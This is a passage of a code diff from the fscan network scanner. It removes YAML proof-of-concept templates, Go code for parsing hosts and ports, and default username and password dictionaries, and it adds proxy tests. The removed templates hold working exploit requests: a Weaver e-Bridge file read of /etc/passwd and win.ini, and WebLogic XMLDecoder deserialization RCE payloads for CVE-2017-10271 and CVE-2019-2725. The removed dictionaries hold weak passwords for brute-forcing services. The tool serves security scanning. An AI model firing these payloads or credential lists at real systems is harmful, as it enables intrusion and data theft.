response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-weaver-ebridge-file-read-linux
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
||||
search: |
|
||||
\"id\"\:\"(?P<var>.+?)\"\,
|
||||
- method: GET
|
||||
path: "/file/fileNoLogin/{{var}}"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: e-bridge-file-read for Linux
|
||||
links:
|
||||
- https://mrxn.net/Infiltration/323.html
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-weaver-ebridge-file-read-windows
|
||||
rules:
|
||||
- method: GET
|
||||
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
||||
search: |
|
||||
\"id\"\:\"(?P<var>.+?)\"\,
|
||||
- method: GET
|
||||
path: /file/fileNoLogin/{{var}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: e-bridge-file-read for windows
|
||||
links:
|
||||
- https://mrxn.net/Infiltration/323.html
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch]
|
||||
rules:
|
||||
- method: POST
|
||||
path: /wls-wsat/CoordinatorPortType
|
||||
headers:
|
||||
Content-Type: text/xml
|
||||
body: >-
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.body.bcontains(b"225773091")
|
||||
detail:
|
||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
||||
author: fnmsd(https://github.com/fnmsd)
|
||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
|
||||
weblogic_version: '10'
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
||||
- https://xz.aliyun.com/t/5299
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch]
|
||||
rules:
|
||||
- method: POST
|
||||
path: /wls-wsat/CoordinatorPortType
|
||||
headers:
|
||||
Content-Type: text/xml
|
||||
body: >-
|
||||
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.body.bcontains(b"225773091")
|
||||
detail:
|
||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
||||
author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
|
||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
|
||||
weblogic_version: '>12'
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
||||
- https://xz.aliyun.com/t/5299
|
||||
-158
@@ -1,158 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) {
|
||||
ParseUser(Info)
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
ParseScantype(Info)
|
||||
}
|
||||
|
||||
func ParseUser(Info *HostInfo) {
|
||||
if Info.Username != "" {
|
||||
uesrs := strings.Split(Info.Username, ",")
|
||||
for _, uesr := range uesrs {
|
||||
if uesr != "" {
|
||||
Info.Usernames = append(Info.Usernames, uesr)
|
||||
}
|
||||
}
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
if Userfile != "" {
|
||||
uesrs, err := Readfile(Userfile)
|
||||
if err == nil {
|
||||
for _, uesr := range uesrs {
|
||||
if uesr != "" {
|
||||
Info.Usernames = append(Info.Usernames, uesr)
|
||||
}
|
||||
}
|
||||
for name := range Userdict {
|
||||
Userdict[name] = Info.Usernames
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ParsePass(Info *HostInfo) {
|
||||
if Info.Password != "" {
|
||||
passs := strings.Split(Info.Password, ",")
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
Info.Passwords = append(Info.Passwords, pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
}
|
||||
if Passfile != "" {
|
||||
passs, err := Readfile(Passfile)
|
||||
if err == nil {
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
Info.Passwords = append(Info.Passwords, pass)
|
||||
}
|
||||
}
|
||||
Passwords = Info.Passwords
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Readfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("Open %s error, %v", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, scanner.Text())
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func ParseInput(Info *HostInfo) {
|
||||
if Info.Host == "" && HostFile == "" {
|
||||
fmt.Println("Host is none")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
//LogErr = Info.Debug
|
||||
if TmpOutputfile != "" {
|
||||
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
||||
Outputfile = getpath() + TmpOutputfile
|
||||
} else {
|
||||
Outputfile = TmpOutputfile
|
||||
}
|
||||
}
|
||||
if TmpSave == true {
|
||||
IsSave = false
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo) {
|
||||
_, ok := PORTList[Info.Scantype]
|
||||
if !ok {
|
||||
fmt.Println("The specified scan type does not exist")
|
||||
fmt.Println("-m")
|
||||
for name := range PORTList {
|
||||
fmt.Println(" [" + name + "]")
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
if Info.Scantype != "all" {
|
||||
if Info.Ports == DefaultPorts {
|
||||
switch Info.Scantype {
|
||||
case "webtitle":
|
||||
Info.Ports = "80,81,443,7001,8000,8080,8089,9200"
|
||||
case "ms17010":
|
||||
Info.Ports = "445"
|
||||
case "cve20200796":
|
||||
Info.Ports = "445"
|
||||
case "portscan":
|
||||
default:
|
||||
port, _ := PORTList[Info.Scantype]
|
||||
Info.Ports = strconv.Itoa(port)
|
||||
}
|
||||
fmt.Println("if -m ", Info.Scantype, " only scan the port:", Info.Ports)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func CheckErr(text string, err error) {
|
||||
if err != nil {
|
||||
fmt.Println(text, err.Error())
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
func getpath() string {
|
||||
filename := os.Args[0]
|
||||
var path string
|
||||
if strings.Contains(filename, "/") {
|
||||
tmp := strings.Split(filename, `/`)
|
||||
tmp[len(tmp)-1] = ``
|
||||
path = strings.Join(tmp, `/`)
|
||||
} else if strings.Contains(filename, `\`) {
|
||||
tmp := strings.Split(filename, `\`)
|
||||
tmp[len(tmp)-1] = ``
|
||||
path = strings.Join(tmp, `\`)
|
||||
}
|
||||
return path
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr = errors.New(" host parsing error\n" +
|
||||
"format: \n" +
|
||||
"192.168.1.1\n" +
|
||||
"192.168.1.1/8\n" +
|
||||
"192.168.1.1/16\n" +
|
||||
"192.168.1.1/24\n" +
|
||||
"192.168.1.1,192.168.1.2\n" +
|
||||
"192.168.1.1-192.168.255.255\n" +
|
||||
"192.168.1.1-255")
|
||||
|
||||
func ParseIP(ip string, filename string) (hosts []string, err error) {
|
||||
|
||||
if ip != "" {
|
||||
hosts, err = ParseIPs(ip)
|
||||
}
|
||||
if filename != "" {
|
||||
var filehost []string
|
||||
filehost, _ = Readipfile(filename)
|
||||
hosts = append(hosts, filehost...)
|
||||
}
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
return hosts, err
|
||||
}
|
||||
|
||||
func ParseIPs(ip string) (hosts []string, err error) {
|
||||
if strings.Contains(ip, ",") {
|
||||
IPList := strings.Split(ip, ",")
|
||||
var ips []string
|
||||
for _, ip := range IPList {
|
||||
ips, err = ParseIPone(ip)
|
||||
CheckErr(ip, err)
|
||||
hosts = append(hosts, ips...)
|
||||
}
|
||||
return hosts, err
|
||||
} else {
|
||||
hosts, err = ParseIPone(ip)
|
||||
CheckErr(ip, err)
|
||||
return hosts, err
|
||||
}
|
||||
}
|
||||
|
||||
func ParseIPone(ip string) ([]string, error) {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Contains(ip[len(ip)-3:], "/24"):
|
||||
return ParseIPA(ip)
|
||||
case strings.Contains(ip[len(ip)-3:], "/16"):
|
||||
return ParseIPD(ip)
|
||||
case strings.Contains(ip[len(ip)-2:], "/8"):
|
||||
return ParseIPE(ip)
|
||||
case strings.Count(ip, "-") == 1:
|
||||
return ParseIPC(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []string{ip}, nil
|
||||
default:
|
||||
testIP := net.ParseIP(ip)
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
return []string{ip}, nil
|
||||
}
|
||||
}
|
||||
|
||||
//Parsing CIDR IP
|
||||
func ParseIPA(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-3]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".")
|
||||
var AllIP []string
|
||||
for i := 0; i <= 255; i++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i))
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
//Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
|
||||
func ParseIPC(ip string) ([]string, error) {
|
||||
IPRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(IPRange[0])
|
||||
var AllIP []string
|
||||
if len(IPRange[1]) < 4 {
|
||||
Range, err := strconv.Atoi(IPRange[1])
|
||||
if testIP == nil || Range > 255 || err != nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
SplitIP := strings.Split(IPRange[0], ".")
|
||||
ip1, err1 := strconv.Atoi(SplitIP[3])
|
||||
ip2, err2 := strconv.Atoi(IPRange[1])
|
||||
PrefixIP := strings.Join(SplitIP[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
SplitIP1 := strings.Split(IPRange[0], ".")
|
||||
SplitIP2 := strings.Split(IPRange[1], ".")
|
||||
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(SplitIP1[i])
|
||||
ip2, err2 := strconv.Atoi(SplitIP2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num < endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
AllIP = append(AllIP, ip)
|
||||
}
|
||||
}
|
||||
|
||||
return AllIP, nil
|
||||
|
||||
}
|
||||
|
||||
func ParseIPD(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-3]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".")
|
||||
var AllIP []string
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
||||
}
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
func ParseIPE(ip string) ([]string, error) {
|
||||
realIP := ip[:len(ip)-2]
|
||||
testIP := net.ParseIP(realIP)
|
||||
|
||||
if testIP == nil {
|
||||
return nil, ParseIPErr
|
||||
}
|
||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".")
|
||||
var AllIP []string
|
||||
for a := 0; a <= 255; a++ {
|
||||
for b := 0; b <= 255; b++ {
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
||||
}
|
||||
}
|
||||
return AllIP, nil
|
||||
}
|
||||
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("Open %s error, %v", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
host, err := ParseIPs(text)
|
||||
CheckErr(text, err)
|
||||
content = append(content, host...)
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
result := make([]string, 0, len(old))
|
||||
temp := map[string]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ParsePort(ports string) []int {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
sort.Strings(ranges)
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
return scanPorts
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestGetLogLevelFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected logging.LogLevel
|
||||
}{
|
||||
// 标准情况
|
||||
{"all lowercase", "all", logging.LevelAll},
|
||||
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||
{"error lowercase", "error", logging.LevelError},
|
||||
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||
{"base lowercase", "base", logging.LevelBase},
|
||||
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||
{"info lowercase", "info", logging.LevelInfo},
|
||||
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||
{"success lowercase", "success", logging.LevelSuccess},
|
||||
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||
{"debug lowercase", "debug", logging.LevelDebug},
|
||||
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||
|
||||
// 组合情况
|
||||
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||
|
||||
// 边界情况
|
||||
{"empty string", "", logging.LevelInfoSuccess},
|
||||
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getLogLevelFromString(tt.input)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfig(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
// 保存原始值并在测试后恢复
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
socks5Proxy string
|
||||
httpProxy string
|
||||
timeout time.Duration
|
||||
expectedType proxy.ProxyType
|
||||
expectedAddr string
|
||||
expectedUser string
|
||||
expectedPass string
|
||||
}{
|
||||
{
|
||||
name: "no proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeNone,
|
||||
expectedAddr: "",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 simple address",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with protocol prefix",
|
||||
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth",
|
||||
socks5Proxy: "socks5://user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth no protocol",
|
||||
socks5Proxy: "user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "http proxy simple",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "https proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "https://127.0.0.1:8443",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTPS,
|
||||
expectedAddr: "127.0.0.1:8443",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "http proxy with auth",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://user:[email protected]:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 priority over http",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with username only",
|
||||
socks5Proxy: "socks5://[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 设置FlagVars
|
||||
fv.Socks5Proxy = tt.socks5Proxy
|
||||
fv.HTTPProxy = tt.httpProxy
|
||||
|
||||
// 调用函数
|
||||
config := createProxyConfig(tt.timeout)
|
||||
|
||||
// 验证结果
|
||||
if config.Type != tt.expectedType {
|
||||
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||
}
|
||||
if config.Address != tt.expectedAddr {
|
||||
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||
}
|
||||
if config.Username != tt.expectedUser {
|
||||
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||
}
|
||||
if config.Password != tt.expectedPass {
|
||||
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||
}
|
||||
if config.Timeout != tt.timeout {
|
||||
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "://invalid"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||
}
|
||||
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = ""
|
||||
fv.HTTPProxy = "://invalid"
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Type != proxy.ProxyTypeHTTP {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||
}
|
||||
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty password with username", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Username != "user" {
|
||||
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||
}
|
||||
if config.Password != "" {
|
||||
t.Errorf("Password = %q, want empty string", config.Password)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package common
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultCallback 扫描结果回调函数类型
|
||||
type ResultCallback func(result interface{})
|
||||
|
||||
var (
|
||||
resultCallback ResultCallback
|
||||
callbackMu sync.RWMutex
|
||||
)
|
||||
|
||||
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||
func SetResultCallback(cb ResultCallback) {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = cb
|
||||
}
|
||||
|
||||
// NotifyResult 通知结果给回调函数
|
||||
func NotifyResult(result interface{}) {
|
||||
callbackMu.RLock()
|
||||
cb := resultCallback
|
||||
callbackMu.RUnlock()
|
||||
|
||||
if cb != nil {
|
||||
cb(result)
|
||||
}
|
||||
}
|
||||
|
||||
// ClearResultCallback 清除结果回调函数
|
||||
func ClearResultCallback() {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = nil
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
package common
|
||||
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"},
|
||||
"mysql": {"root"},
|
||||
"mssql": {"root", "sa"},
|
||||
"smb": {"administrator", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
|
||||
|
||||
var PORTList = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"mssql": 1433,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"mysql": 3306,
